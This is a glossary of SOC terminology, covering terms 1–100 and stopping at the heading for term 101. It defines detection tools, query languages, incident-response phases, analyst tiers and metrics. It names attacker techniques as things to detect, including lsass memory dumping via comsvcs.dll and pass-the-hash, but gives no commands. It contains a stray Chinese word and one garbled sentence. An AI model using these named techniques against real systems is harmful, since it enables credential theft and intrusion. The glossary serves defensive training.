

Comprehensive Glossary of Security Operations Center Terminology

<https://github.com/saeedmfat>

Part 1/10 – Terms 1 to 50

1. **SIEM (Security Information and Event Management)**

Explanation: SIEM aggregates and correlates log data from across an organization's infrastructure to enable real-time monitoring and historical analysis. In a SOC, analysts use SIEM to detect anomalies, investigate alerts, and meet compliance requirements. SIEM platforms provide dashboards, alerting, and search capabilities across billions of events. They are essential for centralizing visibility into security events from endpoints, networks, servers, and cloud environments. Without SIEM, manual log review would be impractical at enterprise scale.

2. **SOAR (Security Orchestration, Automation, and Response)**

Explanation: SOAR platforms integrate with SIEM and other tools to automate repetitive incident response tasks and orchestrate complex workflows. SOC teams use SOAR to reduce mean time to respond (MTTR) by automating actions like IP blocking, user isolation, or ticket creation. SOAR also standardizes response procedures through playbooks and case management. It improves analyst efficiency by handling low-level alerts automatically while escalating only high-fidelity incidents.

3. **MITRE ATT&CK**

Explanation: MITRE ATT&CK is a globally accessible knowledge base of adversary tactics, techniques, and procedures (TTPs). SOC analysts use it to map observed behavior to specific attack stages, from initial access to impact. It provides a common language for threat intelligence, detection engineering, and hunt hypotheses. The framework helps SOC teams identify coverage gaps and prioritize detections based on real-world adversary behavior.

4. **Indicator of Compromise (IOC)**

Explanation: IOCs are forensic artifacts that suggest a system may have been breached, such as file hashes, IP addresses, domain names, or registry keys. SOC analysts use IOCs in detection rules, threat intelligence feeds, and threat hunting to identify known malicious activity. IOCs are most effective when they are specific, timely, and relevant to the environment. However, they are less useful against novel or polymorphic attacks.

5. **Indicator of Attack (IOA)**

Explanation: IOAs focus on adversary behavior and intent rather than static artifacts, even before malicious payloads are confirmed. SOC analysts use IOAs to detect in-progress attacks based on sequences of actions, such as privilege escalation or lateral movement. Unlike IOCs, IOAs are harder for attackers to evade because they target战术 (tactical) patterns. They are foundational for advanced detection engineering and proactive threat hunting.

6. **TTP (Tactics, Techniques, and Procedures)**

Explanation: TTPs describe how adversaries operate at strategic (tactics), mid-level (techniques), and detailed (procedures) granularity. SOC analysts and threat hunters rely on TTP-based detection to identify adversary behavior even when IOCs change. Mapping observed activity to MITRE ATT&CK techniques helps teams understand attacker objectives and improve defenses. TTP analysis is central to mature threat intelligence and incident reporting.

7. **EDR (Endpoint Detection and Response)**

Explanation: EDR solutions continuously monitor endpoint activities, recording

process executions, network connections, file changes, and registry modifications. SOC analysts use EDR to investigate incidents, isolate compromised hosts, and roll back malicious changes. EDR provides real-time visibility and automated response actions that go beyond traditional antivirus. It is a critical tool for incident response and threat hunting in modern SOCs.

8. **NDR (Network Detection and Response)**

Explanation: NDR applies behavioral analytics to network traffic to identify anomalies and potential intrusions without relying on signatures. It is especially useful for detecting lateral movement, data exfiltration, and C2 communication. SOC analysts integrate NDR with SIEM and EDR to correlate network-based evidence with endpoint telemetry. NDR complements EDR in environments where agents cannot be installed, such as OT/IoT networks.

9. **XDR (Extended Detection and Response)**

Explanation: XDR unifies detection and response across endpoints, networks, cloud workloads, and identities into a single platform. It breaks down silos by ingesting and normalizing telemetry from multiple security layers. SOC teams use XDR to accelerate investigations through cross-context correlation and automated response. XDR reduces the need for manual pivoting between tools, improving analyst efficiency.

10. **MDR (Managed Detection and Response)**

Explanation: MDR is a service where a third-party provider operates detection, investigation, and response functions for an organization. For SOCs with limited staff, MDR augments internal capabilities with 24/7 monitoring and threat hunting. Providers typically deploy their own technology stack and provide analysts who escalate critical findings. MDR contracts often include containment actions and breach investigation support.

11. **UEBA (User and Entity Behavior Analytics)**

Explanation: UEBA uses machine learning to establish baselines for users, devices, and applications, then flags deviations that may indicate compromise. It is effective at detecting insider threats, account takeovers, and compromised

credentials. SOC analysts use UEBA to identify low-and-slow attacks that evade signature-based rules. UEBA is often integrated into SIEM or sold as a standalone analytics layer.

12. Incident Response (IR)

Explanation: Incident response is the structured process of managing and remediating security incidents to minimize damage and recovery time. SOC analysts follow IR frameworks like NIST 800-61 or SANS PICERL (Preparation, Identification, Containment, Eradication, Recovery, Lessons Learned). IR involves technical analysis, communication with stakeholders, and forensic preservation. Rapid, well-coordinated IR directly reduces financial and reputational harm.

13. Playbook

Explanation: A playbook is a documented, repeatable workflow for responding to a specific type of alert or incident. In SOAR or SOC manual processes, playbooks define steps, roles, decision points, and expected outcomes. They ensure consistent handling of common scenarios like phishing, malware outbreaks, or privilege misuse. Playbooks also accelerate onboarding of junior analysts and reduce errors during high-pressure events.

14. Runbook

Explanation: Runbooks are more detailed than playbooks, containing specific commands, API calls, or scripts for implementing response actions. SOC engineers use runbooks to ensure that critical actions (e.g., account disable, firewall block) are performed correctly every time. Runbooks are often automated within SOAR for low-latency response. Regular testing of runbooks is essential to avoid failures during active incidents.

15. False Positive

Explanation: A false positive occurs when a detection rule or alert fires but no actual malicious activity exists. High false positive rates erode analyst trust and waste investigation time. SOC teams tune rules, add context, or implement suppression logic to reduce false positives. Managing false positives is a continuous process in detection engineering and SOC health metrics.

16. False Negative

Explanation: A false negative is when malicious activity occurs but the detection system fails to generate an alert. False negatives are more dangerous than false positives because they represent blind spots. SOC analysts detect false negatives through threat hunting, red team exercises, and post-incident reviews. Reducing false negatives requires layered detection and regular testing against real adversary behavior.

17. Mean Time to Detect (MTTD)

Explanation: MTTD measures the average time between a compromise or malicious action and its detection by SOC tools or analysts. Lower MTTD reduces the window for attacker lateral movement and data theft. SOC leaders track MTTD as a key performance indicator (KPI) for detection capabilities. Improvements come from better logging, correlation rules, and proactive hunting.

18. Mean Time to Respond (MTTR)

Explanation: MTTR (also used for Mean Time to Respond/Remediate) measures the time from detection to containment or resolution. It reflects SOC efficiency in executing incident response processes. Reducing MTTR involves automation, clear playbooks, and well-practiced response drills. Slow MTTR increases exposure time and potential impact of a breach.

19. Alert Fatigue

Explanation: Alert fatigue is the desensitization of analysts caused by excessive, low-fidelity alerts. It leads to missed critical alerts, slower response, and higher burnout rates. SOC teams combat alert fatigue through rule tuning, alert aggregation, and risk-based prioritization. Implementing a triage tier (e.g., informational, low, medium, high, critical) helps focus human attention.

20. Triage

Explanation: Triage is the initial assessment of an alert to determine its severity, validity, and required response priority. SOC analysts perform triage by checking known IOCs, asset criticality, and alert context before escalating. Effective triage

filters out false positives and low-risk events, preserving resources for high-impact incidents. Triage decisions are often codified in playbooks.

21. Containment

Explanation: Containment is the incident response phase focused on stopping an attack from spreading or causing further damage. Actions include network isolation, disabling compromised accounts, blocking IPs, or suspending services. SOC analysts must balance containment speed against business disruption. Proper containment preserves evidence and buys time for eradication.

22. Eradication

Explanation: Eradication removes the root cause of an incident, such as malware files, persistence mechanisms, or backdoor accounts. This phase occurs after containment and before recovery. SOC analysts use forensic artifacts to identify all adversary footholds. Partial eradication leads to reinfection or persistence of the attacker.

23. Persistence

Explanation: Persistence refers to adversary techniques that maintain access across reboots, credential changes, or software updates. Examples include scheduled tasks, registry run keys, or web shells. SOC analysts hunt for persistence mechanisms during incident response and proactive hunts. Detecting persistence early prevents attackers from re-entering after initial cleanup.

24. Lateral Movement

Explanation: Lateral movement is when an attacker moves from an initially compromised host to other systems within the network. Techniques include PSEXEC, RDP, WinRM, or pass-the-hash. SOC monitoring focuses on anomalous authentication flows, unexpected process executions, and network connections. Detecting lateral movement often indicates an active hands-on-keyboard attack.

25. C2 (Command and Control)

Explanation: C2 is the channel through which an attacker sends commands to compromised hosts and retrieves data. C2 traffic may use HTTP, DNS, or custom protocols to blend with normal traffic. SOC analysts identify C2 via beaconing

patterns, domain generation algorithms (DGAs), or threat intelligence sinkholes. Disrupting C2 communication is a high-leverage containment action.

26. **Exfiltration**

Explanation: Exfiltration is the unauthorized transfer of data from a victim environment to an attacker-controlled destination. SOC detection focuses on outbound traffic anomalies, large data transfers, or unusual protocols (e.g., DNS tunneling). Data loss prevention (DLP) and network flow analysis help detect exfiltration early. After exfiltration, regulatory breach notification obligations may apply.

27. **SOAR Playbook Automation**

Explanation: This refers to using SOAR to execute predefined actions automatically based on trigger conditions, such as enriching an IP with threat intelligence or quarantining a file. SOC analysts design automation for high-confidence, low-complexity tasks. Automation reduces MTTR and eliminates human errors like forgetting a containment step. Human approval gates are often preserved for high-risk actions.

28. **Threat Intelligence (TI)**

Explanation: Threat intelligence is analyzed information about adversary capabilities, motivations, and indicators. SOC consumption includes strategic (business risk), tactical (TTPs), and operational (active campaign) intelligence. TI feeds enrich SIEM alerts with context like known malicious IPs or malware families. Proactive SOCs use TI to drive hunt hypotheses and detection engineering.

29. **STIX (Structured Threat Information Expression)**

Explanation: STIX is a standardized language for representing threat intelligence, including IOCs, TTPs, campaigns, and courses of action. SOC analysts and tools use STIX to share and consume intelligence across different platforms. STIX 2.1 adds relationships between objects, enabling more nuanced threat modeling. It is commonly paired with TAXII for transport.

30. **TAXII (Trusted Automated Exchange of Intelligence Information)**

Explanation: TAXII is a protocol for exchanging STIX-format threat intelligence over HTTPS. SOC teams configure TAXII clients to pull or subscribe to feeds from external sharing communities (e.g., ISACs) or commercial providers. TAXII enables automated, structured intelligence ingestion into SIEM and SOAR. It reduces manual indicator copy-pasting and accelerates detection updates.

31. **MISP (Malware Information Sharing Platform)**

Explanation: MISP is an open-source platform for sharing, storing, and correlating indicators of compromise and threat intelligence. SOC analysts use MISP to manage internal IOC databases and collaborate with trusted peer groups. MISP supports automated feed generation for firewalls, SIEMs, and EDRs. Its taxonomies and galaxies map to MITRE ATT&CK for enriched analysis.

32. **Honeypot**

Explanation: A honeypot is a decoy system or service designed to lure attackers and capture their behavior without risk to production assets. SOC analysts deploy honeypots to detect reconnaissance, gather threat intelligence, and distract adversaries. High-interaction honeypots allow attackers to interact, revealing tools and TTPs. Honeypots are effective for detecting internal scanning and lateral movement.

33. **Deception Technology**

Explanation: Deception goes beyond honeypots by deploying fake data, credentials, network shares, or entire environments that trigger alerts when accessed. SOC teams use deception to produce high-confidence detections because normal users should never touch decoys. Deception can reveal sophisticated attackers who avoid traditional detection. It also provides detailed forensic artifacts of adversary activity.

34. **Threat Hunting**

Explanation: Threat hunting is a proactive, hypothesis-driven search for undetected threats that evade existing automated detections. Hunters use EDR, SIEM, and network logs to investigate adversary TTPs based on intelligence or

anomalies. Successful hunts produce new detection rules and reduce dwell time. Hunting is a maturity indicator for SOCs beyond reactive alert monitoring.

35. **Hunting Hypothesis**

Explanation: A hypothesis is an educated guess about how an adversary might be operating in the environment using specific TTPs. SOC hunters formulate hypotheses from threat intelligence, red team findings, or internal analytics.

Example: "Adversaries may be using renamed PsExec to move laterally."

Hypotheses drive data collection and analytic queries.

36. **Baseline**

Explanation: A baseline is a historical norm for user, system, or network behavior used to identify deviations. SOC analysts establish baselines for login times, data volumes, process creation rates, and other metrics. Static thresholds are replaced by dynamic baselines (via UEBA) for better anomaly detection. Baselines must be re-established after major infrastructure changes.

37. **Atomic Indicator**

Explanation: An atomic indicator is an immutable artifact that cannot be changed by an attacker without altering its identifying value, such as a file hash or X.509 certificate serial number. SOC analysts use atomic indicators in threat intelligence feeds for high-confidence matching. However, atomic indicators are easily bypassed by attackers recompiling malware. They are most useful when fresh and specific.

38. **Behavioral Indicator**

Explanation: A behavioral indicator describes a pattern of actions rather than a static artifact, such as "process lsass.exe dumping memory via comsvcs.dll."

Behavioral indicators are closer to IOAs and resist evasion through recompilation. SOC detection rules based on behavior require more careful tuning to avoid false positives. They are essential for detecting fileless malware and living-off-the-land attacks.

39. **Living Off the Land (LotL)**

Explanation: LotL attacks use legitimate system administration tools (PowerShell,

WMI, BITSAdmin, certutil) to evade application allow-listing and EDR. SOC detection must focus on anomalous command-line arguments, parent-child process relationships, and execution contexts. LotL techniques are documented in MITRE ATT&CK under techniques like T1059 (Command and Scripting Interpreter). Hunting for LotL requires deep knowledge of normal administrative behavior.

40. **YARA**

Explanation: YARA is a pattern-matching tool used to identify and classify malware families based on textual or binary rules. SOC analysts write YARA rules to scan files, memory dumps, or network streams for known indicators. YARA rules can detect byte sequences, opcodes, or even hashed strings. It is integral to malware analysis pipelines and threat hunting.

41. **Sigma**

Explanation: Sigma is an open, generic rule format for log events that translates to multiple SIEM query languages (Splunk, Elastic, QRadar, etc.). SOC detection engineers write Sigma rules once and deploy them across heterogeneous environments. Sigma supports mapping to MITRE ATT&CK and includes hierarchical taxonomy for rule management. It greatly reduces rule engineering overhead.

42. **Sysmon (System Monitor)**

Explanation: Sysmon is a Windows driver and service that logs detailed process creation, network connections, file modifications, and registry changes to the Windows Event Log. SOC analysts rely on Sysmon for high-fidelity endpoint telemetry beyond default Windows logging. Typical deployments include Event ID 1 (process create), 3 (network connect), 7 (image load), and 22 (DNS query). Sysmon configuration tuning is critical to avoid log volume overload.

43. **Windows Event Logs**

Explanation: Windows Event Logs are the native logging subsystem recording security (Event ID 4624 for logon, 4688 for process creation), application, and system events. SOC analysis uses tools like wevtutil, PowerShell Get-WinEvent, or

SIEM forwarders. Enabling advanced audit policies (e.g., command-line logging) is essential for detection. Without proper configuration, Windows logs miss critical forensic details.

44. **Auditd**

Explanation: Auditd is the Linux kernel's audit subsystem that tracks file accesses, system calls, user logins, and privilege changes. SOC analysts ingest auditd logs into SIEM to detect tampering, suspicious command execution, or unauthorized file reads. Configuring auditd rules consumes system resources but provides necessary visibility for Linux-heavy environments. It is the Linux equivalent of Sysmon for many use cases.

45. **Splunk**

Explanation: Splunk is a popular SIEM and data analytics platform that indexes machine data from logs, metrics, and flows. SOC analysts use Splunk's Search Processing Language (SPL) for ad-hoc investigations, dashboards, and correlation rules. Splunk Enterprise Security (ES) adds prebuilt detections, risk scoring, and incident review. Splunk is known for powerful query flexibility but requires careful licensing and performance tuning.

46. **ELK Stack (Elasticsearch, Logstash, Kibana)**

Explanation: The ELK Stack (now Elastic Stack) is an open-source log management and analysis platform often used as a SIEM alternative. Logstash ingests and normalizes logs, Elasticsearch stores/indexes them, and Kibana provides visualization. SOC teams deploy open-source detection rules (e.g., Sigma converted to Elasticsearch queries) on ELK. Elastic's commercial offering includes machine learning and endpoint security features.

47. **QRadar**

Explanation: QRadar is an IBM SIEM that combines log management, network flow analysis, and risk-based correlation. SOC analysts use QRadar's Offense Manager to prioritize alerts based on asset criticality and identity context. QRadar uses Ariel Query Language (AQL) for advanced searches. It is common in large enterprises and MSSP environments, often paired with IBM Resilient SOAR.

48. **Sentinel (Microsoft Sentinel)**

Explanation: Microsoft Sentinel is a cloud-native SIEM and SOAR platform built on Azure Log Analytics and Logic Apps. SOC teams use Sentinel for ingestion from Microsoft 365, Azure, AWS, on-premise logs, and third-party security products. It includes built-in MITRE ATT&CK mapping, UEBA, and interactive workbooks. Sentinel's Kusto Query Language (KQL) is powerful but requires specific training.

49. **KQL (Kusto Query Language)**

Explanation: KQL is the read-only query language used in Azure Data Explorer, Microsoft Sentinel, Azure Monitor, and Defender for Endpoint. SOC analysts write KQL to filter, summarize, join, and visualize log data during investigations and hunt sessions. KQL supports time window analysis, piped commands, and advanced functions like series decomposition. Proficiency in KQL is a core skill for Microsoft-centric SOCs.

50. **Splunk SPL (Search Processing Language)**

Explanation: SPL is Splunk's proprietary query language that uses a pipe-forwarding model to chain commands (search, eval, stats, timechart). SOC analysts use SPL to extract fields, calculate statistics, and correlate events across disparate data sources. SPL enables iterative hunting by appending commands to refine results. Mastering SPL is essential for efficient Splunk SOC operations.

Part 2/10 – Terms 51 to 100

51. **Log Aggregation**

Explanation: Log aggregation is the centralized collection of logs from diverse sources (servers, firewalls, endpoints, cloud services) into a single platform like a SIEM or data lake. SOC analysts rely on aggregation to correlate events across the enterprise without manually accessing individual systems. It enables historical

searches, trend analysis, and compliance reporting. Without aggregation, incident investigation becomes slow and incomplete.

52. **Normalization**

Explanation: Normalization is the process of mapping disparate log formats (e.g., different field names for source IP) into a common schema within a SIEM. SOC analysts benefit from normalized data because they can write one detection rule that applies across firewalls from different vendors. Normalization also simplifies dashboards and hunting queries. It is typically performed by SIEM parsers or Logstash configurations.

53. **Enrichment**

Explanation: Enrichment augments raw log data with additional context, such as geolocation of IP addresses, threat intelligence reputation, asset criticality, or user identity. SOC analysts use enrichment to prioritize alerts and accelerate triage. Enrichment can be performed by SIEM lookup tables, SOAR actions, or external APIs. Automated enrichment reduces manual research time during incidents.

54. **Correlation Rule**

Explanation: A correlation rule defines conditions across multiple events or time windows to detect a specific attack pattern. SOC detection engineers write rules like "failed logins from three different users on the same host within 5 seconds" to indicate brute-force attempts. Rules can be simple (event type A AND field value B) or complex (sequence detection). Poorly tuned rules generate false positives or miss attacks.

55. **Use Case**

Explanation: A use case in SOC operations describes a specific threat scenario to be detected or prevented, including required data sources, logic, and response actions. Examples include "Detect ransomware encryption behavior" or "Identify anomalous RDP logins from unusual geographies." Use cases drive the development of correlation rules, dashboards, and playbooks. SOC maturity is measured by how many use cases are implemented and tested.

56. **Rule Tuning**

Explanation: Rule tuning is the iterative adjustment of detection logic to reduce false positives and false negatives without losing true positives. SOC analysts tune by adding exceptions, narrowing time windows, or adjusting thresholds based on observed data. Tuning requires regular review of alert volumes and false positive rates. Over-tuning can create blind spots for legitimate attacks.

57. **Risk Scoring**

Explanation: Risk scoring assigns numeric values to alerts or events based on factors like asset criticality, user privilege, threat intelligence confidence, and attack stage. SOC analysts use risk scores to prioritize high-severity incidents over low-level noise. Scoring models can be static (e.g., critical servers = 10) or dynamic using machine learning. SIEMs like QRadar and Splunk ES have built-in risk frameworks.

58. **Alert**

Explanation: An alert is a notification generated by a detection system (SIEM, EDR, NDR) when a rule or model indicates potential malicious activity. SOC analysts triage alerts according to severity and confidence. Alert volume must be balanced—too few alerts create blind spots, too many cause fatigue. Alert metadata should include timestamp, source/destination, user, and rule name for efficient investigation.

59. **Incident**

Explanation: An incident is a confirmed security event requiring investigation and response, as opposed to an unverified alert. SOC analysts escalate validated alerts to incident status, often creating a ticket in a SOAR or ITSM system. Incidents are tracked through phases: detection, analysis, containment, eradication, recovery, and lessons learned. Multiple related alerts may merge into a single incident.

60. **Security Incident Ticket**

Explanation: A security incident ticket is a record in a tracking system (SOAR, Jira, ServiceNow) containing all details, actions, and timestamps related to an incident. SOC analysts update tickets with investigation notes, evidence, containment

steps, and resolution status. Tickets enable handoffs between shifts, performance metrics, and post-incident reviews. Well-documented tickets are vital for legal and compliance purposes.

61. **Bridge Call**

Explanation: A bridge call is a conference call (audio or video) initiated during an active major incident to coordinate response across SOC, IT, legal, PR, and executive teams. SOC analysts provide real-time updates on findings and containment actions. Bridge calls follow an incident commander model to avoid chaos. Post-incident, bridge recordings may be reviewed for lessons learned.

62. **Incident Commander (IC)**

Explanation: The Incident Commander is the single person responsible for coordinating all activities during a major security incident. The IC delegates tasks, communicates with leadership, and makes containment decisions while analysts focus on technical investigation. This role is adapted from emergency management frameworks like ICS (Incident Command System). SOCs designate trained ICs for on-call rotations.

63. **PIR (Priority Intelligence Requirement)**

Explanation: PIRs are specific information needs identified by SOC leadership to guide threat intelligence collection and hunting. Examples include "What TTPs are used by ransomware groups targeting healthcare?" PIRs align intelligence activities with organizational risk priorities. SOC analysts use PIRs to filter irrelevant intelligence and focus on actionable data.

64. **CTI (Cyber Threat Intelligence)**

Explanation: CTI is the practice of collecting, analyzing, and operationalizing information about adversaries to inform defensive decisions. SOC consumption includes tactical (IOCs), operational (TTPs of active campaigns), and strategic (adversary motivations and business risk). CTI feeds into detection engineering, hunting, and vulnerability prioritization. Without CTI, SOCs react blindly rather than proactively.

65. ISAC (Information Sharing and Analysis Center)

Explanation: ISACs are industry-specific organizations that facilitate sharing of threat intelligence among member companies. SOC analysts subscribe to ISAC alerts and indicator feeds relevant to their sector (e.g., FS-ISAC for finance, MS-ISAC for state/local government). ISACs provide anonymized threat data, vulnerability disclosures, and incident response assistance. Participation enhances collective defense.

66. Dark Web Monitoring

Explanation: Dark web monitoring involves scanning underground forums, marketplaces, and paste sites for mentions of an organization's credentials, internal data, or strategic plans. SOC analysts use dark web intelligence to identify breaches before third parties exploit stolen data. Monitoring is typically outsourced to specialized vendors due to access and legal complexities. Findings trigger password resets and fraud investigations.

67. CISO (Chief Information Security Officer)

Explanation: The CISO is the executive responsible for an organization's overall security strategy, governance, and risk management. SOC analysts report findings and metrics to the CISO, who allocates budgets and sets detection priorities. The CISO communicates security posture to the board and regulators. SOC effectiveness is a direct reflection of CISO leadership and resource allocation.

68. SOC Analyst Tier 1 (Triage Analyst)

Explanation: Tier 1 analysts are the first line of defense, responsible for initial alert triage, false positive identification, and basic investigation. They follow playbooks to escalate confirmed incidents to Tier 2. Tier 1 roles require familiarity with SIEM, common attack patterns, and organizational assets. This role is often an entry point into cybersecurity careers.

69. SOC Analyst Tier 2 (Incident Responder)

Explanation: Tier 2 analysts conduct deep-dive investigations, malware analysis, and evidence collection for escalated incidents. They contain threats, coordinate with IT, and document findings. Tier 2 analysts write new detection rules based

on observed TTPs. This role typically requires 2–4 years of SOC experience and formal incident response training.

70. SOC Analyst Tier 3 (Hunting & Engineering)

Explanation: Tier 3 analysts focus on proactive threat hunting, detection engineering, and tool optimization. They develop custom parsers, automate responses, and tune complex rules. Tier 3 analysts mentor junior team members and lead post-incident reviews. This role blends advanced analytics, scripting, and adversary emulation skills.

71. SOC Manager

Explanation: The SOC Manager oversees daily operations, staffing, shift schedules, and performance metrics (MTTD, MTTR, false positive rates). They act as the bridge between analysts and executives, reporting on SOC health and incident trends. The manager ensures compliance with SLAs and coordinates tabletop exercises. Effective managers balance technical understanding with people leadership.

72. Follow the Sun Model

Explanation: Follow the sun is a global SOC staffing model where shifts in different time zones hand over active incident investigations at end-of-day so work continues 24/7. SOC analysts write detailed shift handover notes and use collaboration tools like Slack or Teams. This model avoids burnout from night shifts and reduces handoff errors. It requires mature documentation and standardized playbooks.

73. Shift Handoff

Explanation: Shift handoff is the process of transferring knowledge of ongoing incidents, investigations, and degraded systems between outgoing and incoming SOC analysts. Effective handoffs use written notes, status dashboards, and verbal briefings. Poor handoffs lead to missed alerts, duplicated work, and extended dwell time. SOC mandate a minimum overlap period for direct communication.

74. RCA (Root Cause Analysis)

Explanation: RCA is a structured post-incident process to identify the underlying

vulnerabilities, misconfigurations, or process gaps that enabled a security breach. SOC analysts contribute technical findings (e.g., unpatched server, weak credential) to the RCA report. Root cause fixes prevent recurrence rather than just treating symptoms. Legal teams may shield RCAs under privilege in breach contexts.

75. Post-Incident Review (PIR – sometimes PIR, but avoid confusion with Priority Intel Requirement)

Explanation: A post-incident review is a lessons-learned meeting held after incident closure to evaluate what went well, what failed, and what to improve. SOC analysts discuss detection gaps, response delays, tool failures, and communication breakdowns. Action items (e.g., new rule, playbook update, training) are assigned owners. Blameless retrospectives encourage honest self-assessment.

76. Tabletop Exercise

Explanation: A tabletop exercise is a discussion-based simulation where SOC analysts and stakeholders walk through a hypothetical incident scenario without touching live systems. Participants verbally respond to injects (e.g., “You discover ransomware on a file server”) to test processes and communication. Tabletops expose gaps in playbooks, escalation paths, and decision authority. They are required for many compliance frameworks like PCI DSS.

77. Purple Teaming

Explanation: Purple teaming is a collaborative exercise where the red team (attackers) and blue team (SOC defenders) work together rather than in opposition. SOC analysts learn adversarial TTPs directly and immediately adjust detection rules. Purple teaming produces detection metrics like “time to alert” for specific techniques. It is more effective isolated red vs. blue exercises for improving SOC capabilities.

78. Red Team

Explanation: A red team is an internal or external group that emulates real-world adversaries to test an organization’s detection and response capabilities. SOC

analysts use red team reports to identify blind spots and validate detections. Red team operations are conducted with controlled rules of engagement to avoid business disruption. Effective SOC schedule regular red team exercises.

79. **Blue Team**

Explanation: The blue team is the defenders—SOC analysts, incident responders, threat hunters, and detection engineers responsible for protecting the enterprise. Blue team tasks include monitoring, tuning, hunting, and responding. Blue team effectiveness is measured by MTTD, MTTR, and preventability of red team successes. Red-blue collaboration is called purple teaming.

80. **CTF (Capture The Flag)**

Explanation: CTF is a competitive cybersecurity exercise where participants solve challenges (cryptography, forensics, reverse engineering, log analysis) to find hidden flags. SOC analysts use CTFs to practice investigative skills in a gamified environment. Blue team CTFs focus on log analysis, EDR queries, and incident simulation. CTF performance is sometimes used in SOC hiring assessments.

81. **CSIRT (Computer Security Incident Response Team)**

Explanation: CSIRT is a dedicated team (often within or alongside the SOC) focused specifically on incident response and forensic investigation. SOC analysts may escalate confirmed incidents to a separate CSIRT, or SOC functions as the CSIRT. CSIRT responsibilities include evidence collection, malware reverse engineering, and breach notifications. The term is defined in RFC 2350.

82. **CERT (Computer Emergency Response Team)**

Explanation: CERT is another term for CSIRT, originally trademarked by Carnegie Mellon's CERT Coordination Center. Many organizations use "CERT" to denote their incident response function. SOC analysts should know that CERT also refers to national or coordination centers (e.g., JPCERT/CC, EU-CERT). The term is less specific than CSIRT in modern usage.

83. **First Responder**

Explanation: The first responder is the SOC analyst or IT staff member who first encounters a potential incident during triage or monitoring. First responders

must preserve evidence (e.g., avoid rebooting a compromised host) and contain immediate spread. Their initial actions heavily influence investigation success. SOC playbooks define first responder duties clearly.

84. Escalation

Explanation: Escalation is the process of transferring an incident from Tier 1 to Tier 2/3, or from technical teams to legal/PR/executives. SOC analysts escalate based on severity thresholds: confirmed breach, data exfiltration, or critical asset compromise. Escalation paths must be pre-defined and tested. Slow escalation causes delayed executive decisions and regulatory penalties.

85. Warm Handoff

Explanation: A warm handoff occurs when the transferring analyst briefs the receiving analyst directly (voice or chat) on context before stepping away. In SOC operations, warm handoffs are used for shift changes or Tier 1-to-Tier 2 escalations. Warm handoffs reduce miscommunication compared to ticket-only transfers. They require real-time availability of both parties.

86. Cold Handoff

Explanation: A cold handoff relies solely on written documentation (ticket notes, runbooks) without verbal communication. Cold handoffs are risky for complex incidents but necessary for asynchronous teams (e.g., overnight shift leaving before day shift arrives). SOCs minimize cold handoffs by requiring overlapping shifts. When unavoidable, templates ensure critical fields are filled.

87. MSSP (Managed Security Service Provider)

Explanation: An MSSP provides outsourced security monitoring and management, including log collection, alert triage, and basic response. SOC analysts may work for an MSSP serving multiple clients (multi-tenancy) or be in-house. MSSP contracts specify coverage hours (e.g., 24/7 vs. business hours) and escalation procedures. Clients retain responsibility for breaches, so MSSP oversight is critical.

88. Multi-Tenancy

Explanation: Multi-tenancy is a software or service architecture where a single

instance (e.g., SIEM) serves multiple independent customers with logical separation of data. SOC analysts at MSSPs use multi-tenant platforms to monitor hundreds of clients without mixing logs. Tenant isolation prevents cross-client data leaks. Quotas and fair usage rules apply.

89. SLA (Service Level Agreement)

Explanation: An SLA defines measurable commitments between a SOC and its stakeholders, such as "Acknowledge critical alerts within 15 minutes" or "Contain confirmed ransomware within 1 hour." SOC analysts track SLA adherence for triage, containment, and reporting. Missing SLAs triggers escalation and potential financial penalties for MSSPs. SLAs are renegotiated as SOC capabilities evolve.

90. OLA (Operational Level Agreement)

Explanation: An OLA defines internal commitments between the SOC and other IT teams (networking, server, identity) that support incident response. For example, "Network team will block firewall IP within 5 minutes of SOC request." OLAs lack external legal weight but enable smooth cross-team response. Broken OLAs are a common root cause of slow MTTR.

91. Playbook Validation

Explanation: Playbook validation is the practice of testing response workflows through simulations without real incidents. SOC analysts run through phishing, ransomware, or credential theft playbooks to ensure steps are current, tools work, and roles are clear. Validation reveals broken API integrations, outdated contacts, or missing data sources. Quarterly validation is a SOC maturity best practice.

92. AAR (After Action Review)

Explanation: An AAR is a structured debrief following any significant incident or exercise, answering: What was expected? What happened? Why was there a difference? What can be improved? SOC analysts participate in AARs to identify process gaps. AARs differ from RCAs by focusing on human and procedural factors, not just technical root cause.

93. Log Source

Explanation: A log source is any system, application, or device that generates log

messages consumed by a SIEM or data lake. Examples include firewalls, domain controllers, EDR agents, VPN concentrators, and cloud APIs. SOC analysts track log source coverage and health to avoid blind spots. Missing or misconfigured log sources are a top detection gap.

94. Log Aggregation Layer

Explanation: The log aggregation layer is the infrastructure (e.g., Logstash, Fluentd, Cribl) sitting between log sources and the SIEM, responsible for filtering, parsing, routing, and buffering. SOC engineers manage this layer to reduce noise, standardize formats, and prevent data loss during SIEM outages. It also enables selective forwarding (e.g., send authentication logs to hot storage, debug logs to cold).

95. Parsing

Explanation: Parsing is the process of extracting structured fields (timestamp, source IP, username, event ID) from raw, unstructured log lines. SOC analysts depend on accurate parsing for efficient searching and correlation. Parsing errors cause missing fields and blind detections. Parsers are written in languages like Grok (for Logstash), regex, or SIEM-specific extraction rules.

96. Timestamp Normalization

Explanation: Timestamp normalization converts log timestamps from various formats and time zones into a single, consistent format (usually UTC ISO 8601). SOC investigations rely on normalized timestamps to correctly order events from different sources. Mismatched time zones cause event sequence errors and missed correlations. SOC tools reject logs with unparseable timestamps.

97. Log Retention

Explanation: Log retention defines how long log data is stored before deletion or archival, typically driven by compliance (e.g., PCI DSS requires 1 year). SOC analysts need sufficient retention to investigate historical compromises (dwell time often exceeds 100 days). Hot storage is expensive, so tiered retention (days hot, months warm, years cold) is common. Legal holds can pause deletion.

98. **SOAR Case Management**

Explanation: SOAR case management provides a centralized workspace where SOC analysts track all artifacts, notes, evidence, and actions related to an incident. Cases link multiple alerts, enrichment results, and automated actions into a timeline. Analysts can add comments, upload files, and generate reports from the case. Case closure triggers metrics updates and knowledge base suggestions.

99. **Investigation Timeline**

Explanation: An investigation timeline is a chronological reconstruction of attacker actions, defender detections, and response actions during an incident. SOC analysts build timelines by correlating logs, EDR telemetry, and SOAR action history. Timelines are essential for determining root cause and regulatory reporting. Gaps in the timeline indicate missing data sources or detection failures.

100. **Pivot**

Explanation: A pivot is an investigative technique where an analyst takes a piece of evidence (e.g., IP address, process ID, username) from one log and searches across other data sources for related activity. SOC analysts pivot to understand the scope of an attack. Example: Find a malicious process ID in EDR, then pivot to network logs for its C2 traffic. Pivoting efficiency separates skilled analysts from novices.

Part 3/10 – Terms 101 to 150

101. **TTP-Based Detection**

